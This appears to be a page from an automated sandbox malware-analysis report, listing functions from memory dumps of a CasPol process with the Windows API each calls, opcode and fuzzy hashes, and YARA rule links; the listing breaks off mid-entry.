Uniqueness Score: -1.00%

Function 370F199C Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

K32GetModuleBaseNameW.KERNEL32(?,00000EA8,?,?), ref: 370F1A42

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: BaseModuleName
String ID:
API String ID: 595626670-0
Opcode ID: 1623b1073f9befaae02a0308dc4ac0431a1052cc227cef9e6893b8e72ca46785
Instruction ID: 0846cbd31ff9414e06876431e54270695bcbc3df572ecc01a15a34d802bcf80d
Opcode Fuzzy Hash: 1623b1073f9befaae02a0308dc4ac0431a1052cc227cef9e6893b8e72ca46785
Instruction Fuzzy Hash: 6F21B1715093C06FD312CB65CC55B66BFB4EF47210F0984DBD884CB6A3D625A909CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F05BD Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F0653

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 354945faac82cd5b09e2942eb65744065471673cd52e71208a28c6cb5fa2c179
Instruction ID: 1be83add8da6d79ff9a528d04a718382020f9e8b32d6ad576e2892258e21ca08
Opcode Fuzzy Hash: 354945faac82cd5b09e2942eb65744065471673cd52e71208a28c6cb5fa2c179
Instruction Fuzzy Hash: EF21A3715093846FD712CB60CD45F96BFB8EF46220F08C59AE9848B152D325A509CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B478 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6B50D

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: c09471f3683dd292069bbaa90e3f20b61a56d429bfe0c2da9a4e5c2da7e958d0
Instruction ID: ab66afcf26c1291411210015413ab43facadc125088200042b3f471b5179da37
Opcode Fuzzy Hash: c09471f3683dd292069bbaa90e3f20b61a56d429bfe0c2da9a4e5c2da7e958d0
Instruction Fuzzy Hash: 042137765093806FE7128B21DC91BA2BFBCEF07324F0881D6ED808B293D364A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 370F0B56 Relevance: 1.6, APIs: 1, Instructions: 78registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA8), ref: 370F0BD5

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 91aea6ffad0d4bf975f50a8200ad1137ba0a1bf2b8cd4d3e47b71a1d92c66a3d
Instruction ID: 755588967028148f34d3b7c46682b7f60cc78dca2ed055dce758fbbdbb17e3af
Opcode Fuzzy Hash: 91aea6ffad0d4bf975f50a8200ad1137ba0a1bf2b8cd4d3e47b71a1d92c66a3d
Instruction Fuzzy Hash: E921B372500304AEE720DF55DD45FABF7ECEF04624F04885AE944DB641E775E5488BB1

Uniqueness

Uniqueness Score: -1.00%

Function 34B6AC1A Relevance: 1.6, APIs: 1, Instructions: 77registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA8,?,?), ref: 34B6ACB6

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: d936d7251f5e6bf4b01b9264480b639302a9a6add77920df5af117526bd7cdc4
Instruction ID: b8bd801bc69797e30a66da8816bbd39a8258be9fba638d927eb4ae89c84fc339
Opcode Fuzzy Hash: d936d7251f5e6bf4b01b9264480b639302a9a6add77920df5af117526bd7cdc4
Instruction Fuzzy Hash: 0021D6755093C06FC3138B259C51B62BFB4EF47610F0E81CBE8848B663D2257919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6BB9A Relevance: 1.6, APIs: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 34B6BC2E

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: f68eab7d315ab95cf4c14b56e1bf88ef1f78ed1d73d6db7644a180759bbf8e3b
Instruction ID: 6d0e3f4dbce5120902fe204cbd4a94ce4d929d2e5931af985b0e8e1d7f8a54dd
Opcode Fuzzy Hash: f68eab7d315ab95cf4c14b56e1bf88ef1f78ed1d73d6db7644a180759bbf8e3b
Instruction Fuzzy Hash: 4721D371504380AFE722CF55DC84F96FFF8EF09224F08849EE9848B652D765A548CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B3A2 Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 34B6B421

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 57d9b31d1b902174f7c06622e16eaa06bebfc8f305b0c23f917d54552258dce7
Instruction ID: f5b3d96188a1653250e69d521c685d8a849ce94649739a94361fbfb925c96e09
Opcode Fuzzy Hash: 57d9b31d1b902174f7c06622e16eaa06bebfc8f305b0c23f917d54552258dce7
Instruction Fuzzy Hash: 83218B75604210AFE721CF29DC85B66FBE8EF08728F08846DEE458A651E765E508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B8F2 Relevance: 1.6, APIs: 1, Instructions: 76registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6B990

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 6c1d5dae6f8348b4aec3e04eac1039b493ff5a3dc403fd6738dcc4f90187079e
Instruction ID: b96b6c985aacd1db64a8af8c3a2ab60bde8f4896ae442da9f6a8c12cabaabc99
Opcode Fuzzy Hash: 6c1d5dae6f8348b4aec3e04eac1039b493ff5a3dc403fd6738dcc4f90187079e
Instruction Fuzzy Hash: DF21AE76508390AFE721CF11DC84F97FBB8EF45324F08859AE9859B292D324E508CB72

Uniqueness

Uniqueness Score: -1.00%

Function 34B6AA42 Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA8), ref: 34B6AAC1

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8ab99d82d115820b90e773bde7208e44a1385a9f2323e3e830f4d7ca4456b3ef
Instruction ID: c4837add276ed68bc275a7f83d91fdee105280cfca2f6febc3651e80a623c5d6
Opcode Fuzzy Hash: 8ab99d82d115820b90e773bde7208e44a1385a9f2323e3e830f4d7ca4456b3ef
Instruction Fuzzy Hash: 58210472600300AEE720CF15CC85FA7F7ECEF08224F04845AE94586641D724E549CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 370F161E Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F16AD

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 723017d32cace2012910ab1688f1d738ebd3d0ef27947abe6c06329e3ecd5d4e
Instruction ID: 85d68a3c749173f0ced764e9ee02b76366314a7bf077f079b3050194ceeb1f28
Opcode Fuzzy Hash: 723017d32cace2012910ab1688f1d738ebd3d0ef27947abe6c06329e3ecd5d4e
Instruction Fuzzy Hash: 8E21C575109784AFD7128B51DC94F96FFB8EF06320F0885DBE9848B153D365A509CB72

Uniqueness

Uniqueness Score: -1.00%

Function 370F0896 Relevance: 1.6, APIs: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F091A

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 804eb1a90564d959361072c6b5af515307bbb4e1bca77b41be0a0bb94a6def54
Instruction ID: 20b77762105c3649b5ee4a675dd452595e4836a24c8534a15e0654ca399c87a3
Opcode Fuzzy Hash: 804eb1a90564d959361072c6b5af515307bbb4e1bca77b41be0a0bb94a6def54
Instruction Fuzzy Hash: 5721C272509344AFE712CB51DD94F97FBBCEF05220F08849BE984DB242E325A548CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 370F0D56 Relevance: 1.6, APIs: 1, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA8), ref: 370F0DCA

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 781d56737b038601d21b6dec8df8e8cb25d9d86d23998060d2feb65816a13690
Instruction ID: ad12233b27e53d6270e6bfa895013704c09d2e766cc007999b3948f45b65b51e
Opcode Fuzzy Hash: 781d56737b038601d21b6dec8df8e8cb25d9d86d23998060d2feb65816a13690
Instruction Fuzzy Hash: E821D172900308AEE7208F54DD45FABFBE8EF04724F04845AED44CB641E775E5488AB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6A2B3 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 34B6A32E

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 7490d5176b0214a136a01f5939126625b0b11cecab148e9b378300e1e878a21e
Instruction ID: 23a527ea9d1ca761076f8cf43f2876a5e987306acac2ae1a0e74203862547ece
Opcode Fuzzy Hash: 7490d5176b0214a136a01f5939126625b0b11cecab148e9b378300e1e878a21e
Instruction Fuzzy Hash: AF2183766093809FD7128B65DC95B96BFF4EF07214F0984EBD885CB263D225E804C761

Uniqueness

Uniqueness Score: -1.00%

Function 370F0032 Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 370F00A5

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 14bb6d49e28e731eeccb8cc485b9bf6cd896f6ef781b53712f3c641d14b55084
Instruction ID: 7709b2486fcc65d52d529bca48bef12c02102a475490c9ba7cb353eda17fc031
Opcode Fuzzy Hash: 14bb6d49e28e731eeccb8cc485b9bf6cd896f6ef781b53712f3c641d14b55084
Instruction Fuzzy Hash: F921B075600244AFE710CF25CD85BA6FBE8EF08324F0484A9E944CB742D772E548CA72

Uniqueness

Uniqueness Score: -1.00%

Function 370F06D6 Relevance: 1.6, APIs: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F0751

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: 7e786170300b45133ab203411f5e3a5c1400a20768736c40fcbd9632d2ea5be1
Instruction ID: 2485c2e816c78aa17b2e2e2255cbb961b430ac53773d7f22c56c8fd849f0f5bd
Opcode Fuzzy Hash: 7e786170300b45133ab203411f5e3a5c1400a20768736c40fcbd9632d2ea5be1
Instruction Fuzzy Hash: B921AF75500704AFEB21CF51CD84FA6F7E8EF08720F0484AAED458B651D732E548CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 370F0964 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

RasConnectionNotificationW.RASAPI32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F09F3

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 2314fa089c5d8dd96e7da5b98dabdb55ccdb16998d0752d98e6b7f82f47d54f3
Instruction ID: c468b5f4717b4ca9d3cdc945a52382c6904861dc990189125d7763a3e7d5b2cc
Opcode Fuzzy Hash: 2314fa089c5d8dd96e7da5b98dabdb55ccdb16998d0752d98e6b7f82f47d54f3
Instruction Fuzzy Hash: 5B21C2755093846FE7128B10DC45FA6FFB8EF06324F0884DBE9849B153D365A509CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B75A Relevance: 1.6, APIs: 1, Instructions: 70fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6B7D9

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 09f1cc70a210b508ec20aac4b006bff1e4ad4191f2c0726a9a62e863530782a4
Instruction ID: fda3a223ad2977357e278b4816b8c0a019609e674adb7b437fe0b8a4eb68f114
Opcode Fuzzy Hash: 09f1cc70a210b508ec20aac4b006bff1e4ad4191f2c0726a9a62e863530782a4
Instruction Fuzzy Hash: 0D21A172509380AFD722CF51DC94F97FFB8EF45324F08849AE9859B152D325A509CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6AB4A Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6ABC4

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: f0a8f820b5cb698a011e0b698ef8a556e203987c297dac25db41840faf711ba8
Instruction ID: bc547b507d5f1af103217e9846bb5294c290142ec99e03a10387c5a11984be52
Opcode Fuzzy Hash: f0a8f820b5cb698a011e0b698ef8a556e203987c297dac25db41840faf711ba8
Instruction Fuzzy Hash: 11219D76600200AEEB20CF15CC80F96F7ECEF09624F08855AE9468B651D764E548CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F16EA Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 370F176E

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: e22492f5245c2f6c0bc3d926dce8eddfb9ddafdfc88e8b3d4f460dc728353910
Instruction ID: 179e6f4231f020d211d47c20c63880dde1e66c5e645ed2dfdcec355c9a12e8f7
Opcode Fuzzy Hash: e22492f5245c2f6c0bc3d926dce8eddfb9ddafdfc88e8b3d4f460dc728353910
Instruction Fuzzy Hash: 6B2190764093809FDB12CF60DC84A92FFF4EF0A320F0984DEE9858B163D275A809DB61

Uniqueness

Uniqueness Score: -1.00%

Function 34B6BBBA Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 34B6BC2E

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: e4aab94c14e97a5e31856748de34f97887876a6c1fbf40078205b74c34dc2cef
Instruction ID: d8ee7223929450ef14827b627b73a169b4a10d7e99b0be312e1811d82f633b13
Opcode Fuzzy Hash: e4aab94c14e97a5e31856748de34f97887876a6c1fbf40078205b74c34dc2cef
Instruction Fuzzy Hash: 1F21D172504200AFE721CF15DC84F96FBE8EF08628F04845DE9458B651DB75A648CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6ADFA Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 34B6AE66

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: d36228bb2b6b734435a60c312a9b92502e2e0cf3b6d045db32317557a9a7d5a6
Instruction ID: 8a63a193df0c03c022a31a8480932a30b33e3349556ccabf6e8d4bf635395bee
Opcode Fuzzy Hash: d36228bb2b6b734435a60c312a9b92502e2e0cf3b6d045db32317557a9a7d5a6
Instruction Fuzzy Hash: 0821D171A00300EFEB21CF55DD45B96FBE8EF09324F08886EE9458A651D775A508CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F18D2 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F1936

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: ebcdf187c96131792a5be142323063a614a8ea5ccdfd5322e6be44757b7fc2df
Instruction ID: a3950703f101f944c457bb87e41f6a20250f4c469f1db82a5c82342f42586f08
Opcode Fuzzy Hash: ebcdf187c96131792a5be142323063a614a8ea5ccdfd5322e6be44757b7fc2df
Instruction Fuzzy Hash: 7A11EE72604300AFE710CF15CC84FAAF7E8EF04620F0884AAED45CB251E731E548CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F0A66 Relevance: 1.6, APIs: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000EA8), ref: 370F0AC9

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: c2cb56f291fbc9d1a3d53669f80322be0f22978734a2b22f93202ea5a795bd03
Instruction ID: 05b172aeec2ef95ae750cf35c6cb3ecce0e501c791fccbacd402bc842e3e9fb2
Opcode Fuzzy Hash: c2cb56f291fbc9d1a3d53669f80322be0f22978734a2b22f93202ea5a795bd03
Instruction Fuzzy Hash: 8A11E672500304AEF710DF65DD55FABFBACEF04624F08849AED04DB241E775A5498AB1

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B91E Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6B990

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: e048e0b1f1b83fa0cd0a166dd0941fa6c8e1353a62d151642dcb8ba47dbaea89
Instruction ID: d1e5bfef89f45564972bbb57a987ee6abe63de89cbe0f4ab770127ba4b0c9040
Opcode Fuzzy Hash: e048e0b1f1b83fa0cd0a166dd0941fa6c8e1353a62d151642dcb8ba47dbaea89
Instruction Fuzzy Hash: F911B176604310AFE720CF15CC80F97F7F8EF04724F08855AE9458B692E764E548CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F0C6A Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F0CD4

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: be35da555fff5e3f67cdde2e41567a41244e6340aea29c7599eb599543e7b45d
Instruction ID: f36986a0e70f643df6ddaa96bb76983e6d11436c6669f54a63cc4b73b9998b95
Opcode Fuzzy Hash: be35da555fff5e3f67cdde2e41567a41244e6340aea29c7599eb599543e7b45d
Instruction Fuzzy Hash: 9611B172500304AEE721CF51DD84F9AF7E8EF04624F14885AE9449B641D775E549CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F11B4 Relevance: 1.6, APIs: 1, Instructions: 64networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F122C

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 4982188612aa373c6e459edc1b04007b884672dc79439cf902d7a9b5a1758d6f
Instruction ID: 7f6f58d60124224e2a1b51747a99393aa2e55a525d27c44645ea3486e3ce9efb
Opcode Fuzzy Hash: 4982188612aa373c6e459edc1b04007b884672dc79439cf902d7a9b5a1758d6f
Instruction Fuzzy Hash: A111D375509384AFE711CB51DC84F96FFB8EF46220F08809AE9449B292D365A549CB72

Uniqueness

Uniqueness Score: -1.00%

Function 370F08B6 Relevance: 1.6, APIs: 1, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F091A

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 1a19b7e708e752e926556353032927b314c7a003435b74c73f2f819d164e389e
Instruction ID: 1672f2b6ac45de723c68f547cb4269fb1161dd749b020bd2f28c510d95b90441
Opcode Fuzzy Hash: 1a19b7e708e752e926556353032927b314c7a003435b74c73f2f819d164e389e
Instruction Fuzzy Hash: AB11D072504204AEE711CB51CD84FABF7ECEF04224F0884AAE954CB241E735A148CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F17EA Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F1846

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: ae1244606b6a6c4fcbe0142e5bf2ecb156f6b43e69dca9cf995fd8b20ba26f85
Instruction ID: 49d375a54bb0dfb88fe544653b769294ffd75f17c7bf8b5daccc2cde49783af9
Opcode Fuzzy Hash: ae1244606b6a6c4fcbe0142e5bf2ecb156f6b43e69dca9cf995fd8b20ba26f85
Instruction Fuzzy Hash: DB11E272600300AFE710CF55DD85FAAF7E8EF04620F0884AAE944CB641D775A549CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 34B6B77A Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 34B6B7D9

Memory Dump Source

Source File: 00000007.00000002.52538916312.0000000034B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 34B6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_34b6a000_CasPol.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0a96a6342f0ceac45d0a83faba97fbe60009b39f929b8c9eece48ee5a0f35ee0
Instruction ID: 9ca7c5a57d81137ba2d6ec1f0391eed9bda3fb710ff43a8915622144729856b3
Opcode Fuzzy Hash: 0a96a6342f0ceac45d0a83faba97fbe60009b39f929b8c9eece48ee5a0f35ee0
Instruction Fuzzy Hash: CA110132504300AFEB21CF51DC80F96FBB8EF04724F08C46AEA499B642D735A149CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F05FA Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EA8,C50AF18B,00000000,00000000,00000000,00000000), ref: 370F0653

Memory Dump Source

Source File: 00000007.00000002.52561344581.00000000370F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 370F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370f0000_CasPol.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: cc1e007666c673de06446b318e7c3bb062a191fe24ff7d8ff12d6f7934a3488a
Instruction ID: ce255e70343c0547b02509c5c173db7b92af88b62ead191f3f1332a2699ee62c
Opcode Fuzzy Hash: cc1e007666c673de06446b318e7c3bb062a191fe24ff7d8ff12d6f7934a3488a
Instruction Fuzzy Hash: 5511E372600304AEE710CF55DD85F96F7E8EF44724F08C4AAED448B641D775A548CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 370F164E Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

